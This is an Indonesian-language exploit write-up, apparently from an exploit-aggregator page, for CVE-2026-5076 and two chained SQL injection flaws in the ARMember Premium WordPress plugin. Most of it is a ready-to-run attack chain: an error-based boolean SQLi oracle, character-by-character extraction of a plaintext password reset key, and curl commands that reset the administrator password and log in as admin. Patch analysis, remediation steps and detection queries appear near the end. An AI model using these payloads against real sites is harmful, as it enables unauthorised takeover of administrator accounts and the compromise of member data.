Share
## https://sploitus.com/exploit?id=PACKETSTORM:222633
<div align="center">
# โ ๏ธ CVE-2026-5076
### ARMember Premium <= 7.3.1
### Insecure Password Reset Mechanism โ Full Admin Account Takeover





**Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**
</div>
---
## ๐ Informasi Kerentanan
| Item | Detail |
|---|---|
| **CVE ID** | CVE-2026-5076 |
| **Plugin** | ARMember โ Membership Plugin & Content Restriction |
| **Versi Terpengaruh** | Premium <= 7.3.1 |
| **Versi Patched** | 7.3.2 |
| **CVSS Score** | 9.8 Critical |
| **CWE** | CWE-640: Weak Password Recovery |
| **Tipe** | Insecure Password Reset Mechanism โ Plaintext Key Storage |
| **Vektor Serangan** | Network / Remote / Unauthenticated (via SQLi chain) |
| **Instalasi Aktif** | 30,000+ (Premium) |
| **Penemu** | Wordfence Threat Intelligence |
| **Tanggal Publikasi** | 3 Juni 2026 |
### CVE Terkait (Same Advisory)
| CVE | Tipe | Severity |
|---|---|---|
| **CVE-2026-5076** | Insecure Password Reset โ Plaintext Key Storage | 9.8 Critical |
| **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical |
| **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical |
---
## ๐ฏ Ringkasan
Tiga kerentanan kritis pada plugin WordPress **ARMember Premium <= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**:
1. **CVE-2026-5076** โ Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress
2. **CVE-2026-5073** โ SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()`
3. **CVE-2026-5074** โ SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()`
**Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun โ tanpa perlu cracking.
---
## ๐ฌ Analisis Teknis
### Root Cause #1: Plaintext Key Storage (CVE-2026-5076)
WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` โ namun dalam bentuk **PLAINTEXT**:
```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_lost_password_action()
// WordPress menyimpan HASHED key (aman)
$key = wp_generate_password(20, false);
$wp_key = $wpdb->get_var(
$wpdb->prepare("SELECT user_activation_key FROM $wpdb->users
WHERE user_login=%s", $user_login)
);
// ARMember menyimpan PLAINTEXT key (VULNERABLE!)
update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
// ^^^^^^
// Ini adalah key ASLI yang bisa langsung dipakai
```
**Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` โ 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**.
### Root Cause #2: Key Persistence Bug
Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`:
```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key โ simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!
```
Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus.
### Root Cause #3: SQL Injection (CVE-2026-5073/5074)
AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi:
```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_directory_paging_action()
// Nonce check (dibutuhkan nonce valid)
$nonce_check = $this->arm_check_user_cap();
// ORDER BY injection โ langsung ke SQL tanpa sanitasi!
$orderby = "u.{$arm_member} {$order_dir}";
// $order_dir dari $_POST['order'] โ LANGSUNG ke ORDER BY
// WHERE injection via filter
if (!empty($filter)) {
$where .= " AND " . $filter; // โ LANGSUNG concatenation!
}
```
**Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery:
```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))
-- COND = TRUE โ IF returns 1 โ ORDER BY 1 โ response normal (besar)
-- COND = FALSE โ IF returns EXP(710) โ MySQL overflow ERROR โ response 90B
```
**Oracle ini immune terhadap network latency** karena membedakan TRUE/FALSE berdasarkan error vs success, bukan waktu respons.
---
## โ๏ธ Attack Chain Roadmap
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP โ
โ ARMember Premium <= 7.3.1 โ Unauthenticated Admin Takeover โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 1: RECONNAISSANCE โ
โ "Identifikasi target, versi, dan attack surface" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 1a. Deteksi ARMember โ
โ โโ GET / โ cari string: "arm_", "armember", "ARMember" โ
โ โโ GET /wp-json/ โ cari armember di response โ
โ โโ Cookie: arm_* indicates ARMember active โ
โ โโ Version fingerprint: arm_css_version, arm_js_version โ
โ โ
โ 1b. Temukan Directory Page (MUST have arm_directory_form_container) โ
โ โโ Method 1: WP Search โ GET /?s=members โ parse links โ
โ โ โโ Filter: skip /feed/, /rss2/, .xml, /atom/ โ
โ โโ Method 2: Direct Path Probe โ /directory/, /members/, /community/ โ
โ โโ Method 3: Sitemap โ /sitemap.xml โ parse URLs โ
โ โโ Method 4: REST API โ /wp-json/wp/v2/pages โ search ARM shortcode โ
โ โ
โ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) โ
โ โโ <form class="arm_directory_form_container"> โ
โ โ โโ <input name="arm_wp_nonce" value="NONCE_HERE"> โ
โ โ โโ <input name="template_id" value="TID_HERE"> โ
โ โโ Nonce = wp_create_nonce('arm_wp_nonce') โ tied to session โ
โ โโ Bukan per-template_id, tapi per-user session โ
โ โ
โ OUTPUT: nonce, template_id, version, directory_url โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 2: SQL INJECTION โ
โ "Konfirmasi SQLi via error-based boolean oracle" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 2a. Kirim AJAX request dengan nonce + template_id โ
โ POST /wp-admin/admin-ajax.php โ
โ action=arm_directory_paging_action โ
โ arm_wp_nonce=<NONCE> โ
โ template_id=<TID> โ
โ type=directory โ
โ order=ASC โ
โ โ
โ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) โ
โ โโ TRUE: order=ASC,IF(1=1,1,EXP(710)) โ response ~10KB (normal) โ
โ โโ FALSE: order=ASC,IF(1=2,1,EXP(710)) โ response ~90B (EXP overflow) โ
โ โโ Delta: ~100x โ tidak terpengaruh network jitter โ
โ โ
โ 2c. Kenapa EXP(710)? โ
โ โโ EXP(710) โ MySQL double overflow โ ERROR โ
โ โโ Error = response body ~90B (cepat, konsisten) โ
โ โโ Lebih reliable daripada SLEEP-based oracle di site lambat โ
โ โ
โ 2d. Oracle Alternatif (untuk site tanpa error output) โ
โ โโ Time-based: IF(COND, SLEEP(3), u.ID) โ
โ โ โโ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) โ
โ โ โโ Rentan terhadap network latency, baseline shifting โ
โ โโ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline โ
โ โโ TRUE = slow + big response โ
โ โโ FALSE = fast + big response (ORDER BY valid ID) โ
โ โโ ERROR = fast + small response (ORDER BY 0) โ
โ โ
โ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 3: DATABASE ENUMERATION โ
โ "Ekstrak table prefix, admin user, dan metadata" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 3a. Deteksi Table Prefix (CRITICAL โ prefix non-standard umum!) โ
โ โโ Method 1: INFORMATION_SCHEMA (paling reliable) โ
โ โ โโ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES โ
โ โ โ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' โ
โ โ โ LIMIT 1) IS NOT NULL โ
โ โ โโ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) โ
โ โโ Method 2: Brute-force prefix โ
โ โ โโ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ โ
โ โโ Method 3: Per-row oracle via alias u/um โ
โ โโ Main query sudah JOIN wp_users u, wp_usermeta um โ
โ โโ Tapi TABLE NAME di subquery = prefix + "users" โ
โ โ
โ 3b. Ekstrak Admin User (4-Method Fallback) โ
โ โโ Method 1: wp_capabilities LIKE '%administrator%' โ
โ โ โโ SELECT user_login FROM PREFIX_users WHERE ID= โ
โ โ (SELECT user_id FROM PREFIX_usermeta โ
โ โ WHERE meta_key='PREFIX_capabilities' โ
โ โ AND meta_value LIKE '%administrator%' LIMIT 1) โ
โ โโ Method 2: wp_user_level = '10' โ
โ โ โโ Meta key PREFIX_user_level dengan value '10' โ
โ โโ Method 3: Per-row um alias for capabilities โ
โ โ โโ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' โ
โ โโ Method 4: First user fallback (ORDER BY ID LIMIT 1) โ
โ โโ Pada site kecil, user pertama = admin โ
โ โ
โ 3c. Ekstrak Admin Email โ
โ โโ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' โ
โ โ
โ 3d. Cek arm_reset_password_key Feature โ
โ โโ (SELECT COUNT(*) FROM PREFIX_usermeta โ
โ โ WHERE meta_key='arm_reset_password_key') > 0 โ
โ โโ Jika FALSE โ fitur tidak ada (v4.x) atau belum ada reset โ
โ โโ Jika TRUE tapi 0 values โ fitur ada, perlu trigger (Phase 4) โ
โ โ
โ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 4: PASSWORD RESET TRIGGER โ
โ "Paksa target menyimpan plaintext key di database" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) โ
โ โโ POST /wp-admin/admin-ajax.php โ
โ โ action=arm_lost_password โ
โ โ arm_wp_nonce=<NONCE> โ
โ โ user_login=<ADMIN_LOGIN> โ
โ โโ Hasil: arm_reset_password_key = plaintext 20-char key โ
โ โโ Masalah: banyak site return "0" (action tidak terdaftar) โ
โ โ
โ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) โ
โ โโ POST /wp-login.php?action=lostpassword โ
โ โ user_login=<ADMIN_LOGIN> โ
โ โ wp-submit=Get New Password โ
โ โโ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) โ
โ โโ Email terkirim ke admin (jika mail server aktif) โ
โ โ
โ 4c. WP Lostpassword via Email โ
โ โโ Jika user_login gagal, coba dengan admin_email โ
โ โ
โ 4d. Verifikasi Key Tersimpan (via SQLi) โ
โ โโ Cek arm_reset_password_key (PLAINTEXT โ CVE-2026-5076) โ
โ โ โโ (SELECT meta_value FROM PREFIX_usermeta โ
โ โ WHERE meta_key='arm_reset_password_key' โ
โ โ AND user_id=ADMIN_ID LIMIT 1) โ
โ โโ Cek user_activation_key (HASHED โ fallback) โ
โ โโ LENGTH((SELECT user_activation_key FROM PREFIX_users โ
โ WHERE user_login='ADMIN')) > 0 โ
โ โ
โ โ ๏ธ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! โ
โ Hanya form forgot-password ARMember yang menyimpan plaintext key. โ
โ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. โ
โ โ
โ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 5: KEY EXTRACTION โ
โ "Baca plaintext password reset key dari database via SQLi" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 โ PLAINTEXT!) โ
โ โโ Binary search per-karakter via SQLi: โ
โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ โ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? โ โ
โ โ โ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? โ โ
โ โ โ ...binary search converges... โ โ
โ โ โ Char 1 = 'X' โ โ โ
โ โ โ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? โ โ
โ โ โ ...repeat for 20 characters... โ โ
โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โโ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) โ
โ โโ Extraction time: ~7 queries ร 20 chars = ~140 requests โ
โ โ
โ 5b. Fallback: Ekstrak user_activation_key (HASHED โ tidak langsung pakai) โ
โ โโ Format: hash keluaran wp_hash() โ perlu cracking atau bypass โ
โ โ
โ 5c. Key Persistence (BUG KRITIS!) โ
โ โโ get_password_reset_key() TIDAK update arm_reset_password_key โ
โ โโ Key plaintext TETAP ADA meskipun user sudah reset password โ
โ โโ Key bisa dipakai BERULANG KALI sampai meta key dihapus โ
โ โ
โ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 6: PASSWORD RESET โ
โ "Gunakan plaintext key untuk reset password admin" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 6a. ARMember Reset Endpoint (armrp) โ
โ โโ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> โ
โ โโ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT โ
โ โ โโ String comparison โ BUKAN hash comparison! โ
โ โโ Jika match โ tampilkan form reset password โ
โ โโ Endpoint ini adalah GET request (bukan AJAX) โ bisa diakses langsung โ
โ โ
โ 6b. WordPress Standard Reset (wp-login.php) โ
โ โโ GET /wp-login.php?action=rp&key=<KEY>&login=<ADMIN_LOGIN> โ
โ โโ WordPress memverifikasi key HASHED โ plaintext key TIDAK berfungsi โ
โ โโ Hanya berguna jika key dari user_activation_key (hashed) โ
โ โ
โ 6c. Submit Password Baru โ
โ โโ POST ke form reset dengan password baru โ
โ โโ Password baru ter-set โ akun berhasil di-takeover โ
โ โ
โ OUTPUT: new_password, reset_confirmed โ
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ PHASE 7: VALIDATION โ
โ "Verifikasi akses admin penuh" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 7a. Login WordPress Standard โ
โ โโ POST /wp-login.php โ
โ โ log=<ADMIN_LOGIN> โ
โ โ pwd=<NEW_PASSWORD> โ
โ โโ Redirect ke /wp-admin/ โ dashboard accessible โ
โ โ
โ 7b. Login ARMember AJAX โ
โ โโ POST /wp-admin/admin-ajax.php โ
โ โ action=arm_ajax_login โ
โ โ arm_wp_nonce=<NONCE> โ
โ โ username=<ADMIN_LOGIN> โ
โ โ password=<NEW_PASSWORD> โ
โ โโ Response berisi user data + redirect URL โ
โ โ
โ 7c. Verifikasi Dashboard Access โ
โ โโ GET /wp-admin/ โ 200 OK + admin menu visible โ
โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ โ FULL CHAIN EXPLOITED โ โ
โ โ Target: target.com โ โ
โ โ User: admin โ โ
โ โ Password: <new_password> โ โ
โ โ Access: Full Administrator โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ OUTPUT: login_confirmed, dashboard_accessible โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
---
## ๐ป Proof of Concept
### Prasyarat
- Target menjalankan **ARMember Premium <= 7.3.1**
- Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id)
- Versi **>= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini)
### PoC Minimal โ Step by Step
```bash
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 1: RECONNAISSANCE
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'
# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
head -5
# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
grep -oP 'template_id.*?value="[^"]*"' | head -1
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 2: SQL INJECTION CONFIRMATION
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition โ response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# FALSE condition โ response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika TRUE โ FALSE โ SQLi CONFIRMED
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 3: DATABASE ENUMERATION
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika response besar โ prefix = wp_
# Jika response kecil โ coba prefix lain
# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...
# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 4: TRIGGER PASSWORD RESET
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
-d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
https://target.com/wp-admin/admin-ajax.php
# Step 4b: Fallback โ WordPress standard lostpassword
curl -s -X POST \
-d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
https://target.com/wp-login.php?action=lostpassword
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 6: RESET PASSWORD
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"
# Jika key match โ form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
-d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
"https://target.com/?armrp=true"
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PHASE 7: VALIDATE LOGIN
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Step 7a: Login dengan password baru
curl -v -X POST \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php
# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
grep "Dashboard"
```
---
## ๐ง Analisis Patch (v7.3.2)
Perbaikan di versi 7.3.2 mengatasi ketiga CVE:
### Patch CVE-2026-5076 (Plaintext Key)
```php
// VULNERABLE (<=7.3.1)
update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
// plaintext key ^^^^^^^
// PATCHED (7.3.2)
$hashed_key = wp_hash($wp_key);
update_user_meta($user_id, 'arm_reset_password_key', $hashed_key);
// hashed key ^^^^^^^^^^^
```
- Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
- Verifikasi key menggunakan `wp_check_password()` atau hash comparison
- Key lama yang sudah plaintext harus dihapus manual
### Patch CVE-2026-5073 (ORDER BY SQLi)
```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
// ^^^^^^^^^^ langsung dari user input
// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
$order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";
```
### Patch CVE-2026-5074 (WHERE SQLi)
```php
// VULNERABLE (<=7.3.1)
$where .= " AND " . $filter;
// ^^^^^^^ langsung concatenation
// PATCHED (7.3.2)
// Filter parameter removed from user input entirely
// Filtering now handled server-side with prepared statements
```
---
## ๐ก๏ธ Remediasi
### Langkah Segera
1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru
2. **Hapus semua `arm_reset_password_key`** yang ada di database:
```sql
DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
```
3. **Reset semua password admin** โ plaintext key lama mungkin sudah dikompromikan
4. **Audit akun user** โ cek akun administrator yang tidak dikenal
5. **Batasi akses directory page** โ pastikan hanya user terautentikasi yang bisa mengakses
### Deteksi Indikator Kompromi
```sql
-- Cek apakah ada arm_reset_password_key (indikasi exploit)
SELECT user_id, meta_value FROM wp_usermeta
WHERE meta_key = 'arm_reset_password_key'
AND meta_value != '';
-- Cek login mencurigakan
SELECT * FROM wp_users
WHERE user_activation_key != ''
AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
```
### Mitigasi Tanpa Update
- **Hapus meta key** `arm_reset_password_key` secara berkala via cron
- **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja)
- **Batasi** akses ke directory page (require login)
- **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action`
---
## ๐งฉ Attack Scenarios
### Scenario A: Classic Full Chain (All CVEs Combined)
```
Attacker discovers directory page โ extracts nonce+tid โ
SQLi to read arm_reset_password_key (plaintext) โ
uses armrp endpoint to reset admin password โ
logs in as admin
```
**Requires**: ARMember v5.x+ with forgot-password triggered by real user
### Scenario B: SQLi + WP Lostpassword Hybrid
```
Attacker discovers directory page โ extracts nonce+tid โ
SQLi to extract admin_login + admin_email โ
triggers WP lostpassword โ email sent โ
SQLi to read user_activation_key (hashed) โ
CRACK the hash offline โ reset password via wp-login.php
```
**Requires**: Site with working mail server, hash cracking capability
### Scenario C: Database Backup Exposure
```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) โ
grep for arm_reset_password_key โ
obtain plaintext keys โ
use armrp endpoint to reset passwords
```
**Requires**: Exposed backup, no SQLi needed
### Scenario D: Compromised Admin + Lateral Movement
```
Attacker gains admin via CVE-2022-1903 or other vector โ
reads arm_reset_password_key for ALL users โ
resets passwords for other admin accounts โ
persists access even if original vulnerability is patched
```
**Requires**: Initial admin access via any vector
---
## โ ๏ธ Disclaimer
Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.
---
## ๐ Referensi
- [Wordfence Advisory โ CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [Wordfence Advisory โ CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
